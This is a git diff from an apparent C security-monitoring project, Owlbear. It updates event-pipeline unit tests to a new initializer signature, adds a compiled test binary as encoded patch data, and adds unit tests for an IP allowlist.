zHUsZ((Xx~GrtJdF+^=Z|K~oQC+9l9sU%`0{|$Rk(@EHaE�u-3_`Kblz#$gZ>NXVNj(L_MlOi zmnf5>+;jmH0a!82Ge8^gB-Mj@KsSSicEJIt7xXab$Dr3hZ-7SKgG&6c2eo_;d(e8& zdQj_m*n@V0z72}kcX6@R(-qcWW^sf14`@awY43~ywhpv8jf*Gt$IGyy48^AipY7B+ zBYoHaY>HrW5iahko&)gL!G&=p0c^r&+J`i%D#f)#?wR7a*ZjOXA^e_xPcj5mFtN%( zeEy8Ryv5A}@{0laC9wYudpj>kUKNm=!9VtAP1_VCZw$x_nBr2(Ki0JDAcd5GLM8aq zFf2(JhQB3XQH=!axcpO1>j|>I8nAB$KlgJ@D-V*75%MIs+{LiT5AUaW)hT7M2Q{q` zyg(dvH4h^iaSirsA&&~mV_+Z;&Rcr|IHq)Nm^|hvT2Sq*`$ZRt#d{j2m z&N^s5)(Ny8>+fg>?EZ>r#;?L&nM?^}QiQ3FrB3Mnn%FEmdxMg(hEUlod-5$z`?o=M z#{zczsd%5(L-zyPG0R@ob4t@9xNe!;_6LQksI~}A>4tn=kgul$zGgr^mDp@Mdy|r} zenw?jkI{Ur`LrJE`?O;=^1(U$T9A)l1$-3Y;aEeR&`l*a$KpFP(An>$M~c;=Qs1aY z(o8OXjPPqbsH&Ki)A-@bFENUsk4b)qRj?H?f`I=n`6FU=z8F2gKS_QY4qSeTi32?& z`Q3cpafwM&lq_WcHi!ofx9b8iVu0C_ADXQ5%PDk0y6q7ELkZUuxZ~F{sb#0h3nsBi z^x}d^wz=YkOi@JJp|elwJWiJvSVFs{^k=lb#%}9?jNuV}7k^p>UDP_?GQUemEsFW^ zAenLzd_{>=jKAv)sfx{K3OcpI;ONu}{t(nSez<<0Da9Fdxz@r;#9A%ZrF=C#2mK^^ zOO0gPXxc)H?KTD>NwFzPU9jKZ3!6{G`VC)gS72#|rn!&iZ7wYw1V22F|0vP@6i9c8 zoUcYGMWw<1hf?Q43$sw!B8zRDw55Dq$01cKgibAAZBI#^J>vAl(J1$b|VC%&Z`?Gqc=+Z7@of=3sSwO z==Wlatz2sVaKEnhh}51*t&8KLxu0{gJ@cf*Mbnm8*bCfS;j7a6xA+OiFLC^Uz9sn; zqXk>}PgzSFw_->5I^Pc+vl6RR_SvH!Wxb{N%Y|RE45eH8Tp@Q&x>kB5zh{iD|EW$C zGp&5gGCBSpy&DT;70*j)f#g@D=#2B27=GO+`8^}_`x=?~T6$}VrSJhMoh4(vrYk86 zBtH(nh4>XBcYF=Ea=jp>AC1+eKb1arNdEErbbhkrw@7}6oH4I1R=xy3LjC)xJ}LE= z$;o*}>UV>mgfDZS8d2E4zut#qvU{s!EUV;iE7Xm4N`4+)UTU$WpesYvL42cvuF1aS zWfxUn(sCc8b1N3m!n!*l|GaQ{t?#9k`&C~}{po({qf%Q# zUW9RC7_^qyGx-tD8F~c diff --git a/tests/test_event_pipeline.c b/tests/test_event_pipeline.c index ad1444c..de4e4ab 100644 --- a/tests/test_event_pipeline.c +++ b/tests/test_event_pipeline.c @@ -44,7 +44,7 @@ TEST(pipeline_observe_mode_downgrades_block) { OWL_SEV_INFO, OWL_ACT_BLOCK); /* Observe mode (enforce=false) */ - owl_pipeline_init(&pipe, &policy, &db, NULL, 100, false, NULL); + owl_pipeline_init(&pipe, &policy, &db, NULL, NULL, 100, false, NULL); struct owlbear_event ev = make_event(OWL_EVENT_PTRACE_ATTEMPT, OWL_SEV_CRITICAL, 50, 100); @@ -65,7 +65,7 @@ TEST(pipeline_enforce_mode_keeps_block) { OWL_SEV_INFO, OWL_ACT_BLOCK); /* Enforce mode */ - owl_pipeline_init(&pipe, &policy, &db, NULL, 100, true, NULL); + owl_pipeline_init(&pipe, &policy, &db, NULL, NULL, 100, true, NULL); struct owlbear_event ev = make_event(OWL_EVENT_PTRACE_ATTEMPT, OWL_SEV_CRITICAL, 50, 100); @@ -83,7 +83,7 @@ TEST(pipeline_observe_returns_observe_for_unmatched) { owl_policy_init(&policy); owl_sig_db_init(&db); - owl_pipeline_init(&pipe, &policy, &db, NULL, 100, false, NULL); + owl_pipeline_init(&pipe, &policy, &db, NULL, NULL, 100, false, NULL); struct owlbear_event ev = make_event(OWL_EVENT_PROCESS_CREATE, OWL_SEV_INFO, 50, 100); @@ -99,7 +99,7 @@ TEST(pipeline_counts_events) { owl_policy_init(&policy); owl_sig_db_init(&db); - owl_pipeline_init(&pipe, &policy, &db, NULL, 100, false, NULL); + owl_pipeline_init(&pipe, &policy, &db, NULL, NULL, 100, false, NULL); struct owlbear_event ev = make_event(OWL_EVENT_PROCESS_CREATE, OWL_SEV_INFO, 50, 100); @@ -118,7 +118,7 @@ TEST(pipeline_null_event_returns_observe) { owl_policy_init(&policy); owl_sig_db_init(&db); - owl_pipeline_init(&pipe, &policy, &db, NULL, 100, false, NULL); + owl_pipeline_init(&pipe, &policy, &db, NULL, NULL, 100, false, NULL); ASSERT_EQ(owl_pipeline_process(&pipe, NULL), OWL_ACT_OBSERVE); } @@ -144,7 +144,7 @@ TEST(pipeline_scan_buffer_finds_match) { owl_policy_add_rule(&policy, OWL_EVENT_SIGNATURE_MATCH, OWL_SEV_INFO, OWL_ACT_LOG); - owl_pipeline_init(&pipe, &policy, &db, NULL, 100, false, NULL); + owl_pipeline_init(&pipe, &policy, &db, NULL, NULL, 100, false, NULL); uint8_t buf[] = {0x00, 0x41, 0x42, 0x43, 0x44, 0x00}; int found = owl_pipeline_scan_buffer(&pipe, buf, sizeof(buf), 0x1000); @@ -164,7 +164,7 @@ TEST(pipeline_scan_buffer_no_match) { owl_sig_parse_pattern(&rule, "test", "FF FF FF FF"); owl_sig_db_add(&db, &rule); - owl_pipeline_init(&pipe, &policy, &db, NULL, 100, false, NULL); + owl_pipeline_init(&pipe, &policy, &db, NULL, NULL, 100, false, NULL); uint8_t buf[] = {0x00, 0x01, 0x02, 0x03}; int found = owl_pipeline_scan_buffer(&pipe, buf, sizeof(buf), 0x1000); @@ -180,7 +180,7 @@ TEST(pipeline_scan_empty_db_returns_zero) { owl_policy_init(&policy); owl_sig_db_init(&db); - owl_pipeline_init(&pipe, &policy, &db, NULL, 100, false, NULL); + owl_pipeline_init(&pipe, &policy, &db, NULL, NULL, 100, false, NULL); uint8_t buf[] = {0x41, 0x42}; int found = owl_pipeline_scan_buffer(&pipe, buf, sizeof(buf), 0); diff --git a/tests/test_net_allowlist b/tests/test_net_allowlist new file mode 100755 index 0000000000000000000000000000000000000000..20edc20282c75c82bf87ba1778b5ee3973c0a6c1 GIT binary patch literal 21256 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 +#include + +#include "test_harness.h" +#include "net_allowlist.h" + +/* ------------------------------------------------------------------------- + * Unit tests + * ----------------------------------------------------------------------- */ + +TEST(allowlist_init_zeroes_count) { + struct owl_net_allowlist al; + al.count = 99; /* dirty */ + + int ret = owl_net_allowlist_init(&al); + ASSERT_EQ(ret, 0); + ASSERT_EQ(al.count, 0); +} + +TEST(allowlist_add_and_check_found) { + struct owl_net_allowlist al; + owl_net_allowlist_init(&al); + + uint32_t ip = inet_addr("10.0.0.1"); + ASSERT_EQ(owl_net_allowlist_add(&al, ip), 0); + ASSERT_TRUE(owl_net_allowlist_check(&al, ip)); +} + +TEST(allowlist_check_not_found) { + struct owl_net_allowlist al; + owl_net_allowlist_init(&al); + + uint32_t ip = inet_addr("10.0.0.1"); + ASSERT_TRUE(!owl_net_allowlist_check(&al, ip)); +} + +TEST(allowlist_add_multiple) { + struct owl_net_allowlist al; + owl_net_allowlist_init(&al); + + uint32_t ip1 = inet_addr("10.0.0.1"); + uint32_t ip2 = inet_addr("10.0.0.2"); + uint32_t ip3 = inet_addr("10.0.0.3"); + + ASSERT_EQ(owl_net_allowlist_add(&al, ip1), 0); + ASSERT_EQ(owl_net_allowlist_add(&al, ip2), 0); + ASSERT_EQ(owl_net_allowlist_add(&al, ip3), 0); + + ASSERT_TRUE(owl_net_allowlist_check(&al, ip1)); + ASSERT_TRUE(owl_net_allowlist_check(&al, ip2)); + ASSERT_TRUE(owl_net_allowlist_check(&al, ip3)); + ASSERT_EQ(al.count, 3); +} + +TEST(allowlist_full_capacity_rejects) { + struct owl_net_allowlist al; + owl_net_allowlist_init(&al); + + /* Fill to max */ + for (int i = 0; i < OWL_NET_ALLOWLIST_MAX; i++) { + uint32_t ip = htonl(0x0A000001 + (uint32_t)i); + ASSERT_EQ(owl_net_allowlist_add(&al, ip), 0); + } + + ASSERT_EQ(al.count, OWL_NET_ALLOWLIST_MAX); + + /* Next add should fail */ + uint32_t overflow_ip = htonl(0x0A000001 + OWL_NET_ALLOWLIST_MAX); + ASSERT_EQ(owl_net_allowlist_add(&al, overflow_ip), -1); +} + +TEST(allowlist_null_inputs) { + struct owl_net_allowlist al; + + ASSERT_EQ(owl_net_allowlist_init(NULL), -1); + ASSERT_EQ(owl_net_allowlist_add(NULL, 0x01020304), -1); + ASSERT_TRUE(!owl_net_allowlist_check(NULL, 0x01020304)); + + owl_net_allowlist_init(&al); + /* remove from NULL should return -1 */ + ASSERT_EQ(owl_net_allowlist_remove(NULL, 0x01020304), -1); +} + +TEST(allowlist_duplicate_is_idempotent) { + struct owl_net_allowlist al; + owl_net_allowlist_init(&al); + + uint32_t ip = inet_addr("192.168.1.1"); + ASSERT_EQ(owl_net_allowlist_add(&al, ip), 0); + ASSERT_EQ(owl_net_allowlist_add(&al, ip), 0); + ASSERT_EQ(al.count, 1); +} + +TEST(allowlist_remove_and_recheck) { + struct owl_net_allowlist al; + owl_net_allowlist_init(&al); + + uint32_t ip1 = inet_addr("10.0.0.1"); + uint32_t ip2 = inet_addr("10.0.0.2"); + owl_net_allowlist_add(&al, ip1); + owl_net_allowlist_add(&al, ip2); + + ASSERT_EQ(owl_net_allowlist_remove(&al, ip1), 0); + ASSERT_TRUE(!owl_net_allowlist_check(&al, ip1)); + ASSERT_TRUE(owl_net_allowlist_check(&al, ip2)); + ASSERT_EQ(al.count, 1); + + /* Removing non-existent IP returns -1 */ + ASSERT_EQ(owl_net_allowlist_remove(&al, ip1), -1); +} + +/* ------------------------------------------------------------------------- + * Runner + * ----------------------------------------------------------------------- */ + +int main(void) +{ + printf("=== Owlbear Net Allowlist Tests ===\n"); + + RUN_TEST(allowlist_init_zeroes_count); + RUN_TEST(allowlist_add_and_check_found); + RUN_TEST(allowlist_check_not_found); + RUN_TEST(allowlist_add_multiple); + RUN_TEST(allowlist_full_capacity_rejects); + RUN_TEST(allowlist_null_inputs); + RUN_TEST(allowlist_duplicate_is_idempotent); + RUN_TEST(allowlist_remove_and_recheck); + + TEST_SUMMARY(); + return test_failures; +}